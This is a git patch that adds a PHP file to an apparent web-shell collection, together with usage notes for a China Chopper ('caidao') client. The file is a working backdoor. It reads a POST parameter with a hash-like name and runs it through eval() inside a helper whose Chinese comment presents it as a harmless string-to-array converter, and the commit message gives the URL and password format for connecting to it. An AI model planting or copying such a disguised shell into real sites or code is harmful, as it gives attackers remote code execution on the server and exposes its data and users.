From baa5b59dee6300cf1ae9397d617743d1c7b6ea96 Mon Sep 17 00:00:00 2001
From: tennc <tennc@users.noreply.github.com>
Date: Sat, 18 Jul 2015 16:17:50 +0800
Subject: [PATCH] Create w.php

usage:

    url : xxxxxx/xxx.php
    pwd : cmd
    <O>43cb006424cbf7b46dbca36c8ed79b69=eval($_POST['cmd'])</O>

from : zone.wooyun.org  21720
---
 caidao-shell/w.php | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)
 create mode 100644 caidao-shell/w.php

diff --git a/caidao-shell/w.php b/caidao-shell/w.php
new file mode 100644
index 0000000..bff34c9
--- /dev/null
+++ b/caidao-shell/w.php
@@ -0,0 +1,18 @@
+<?php 
+
+$config= trim($_POST['43cb006424cbf7b46dbca36c8ed79b69']); 
+$info = string2array($config); 
+
+/** 
+* 将字符串转换为数组 
+* 
+* @param  string  $data  字符串 
+* @return  array  返回数组格式，如果，data为空，则返回空数组 
+*/ 
+function string2array($data) { 
+if($data == '') return array(); 
+@eval("\$array = $data;"); 
+return $array; 
+} 
+
+?>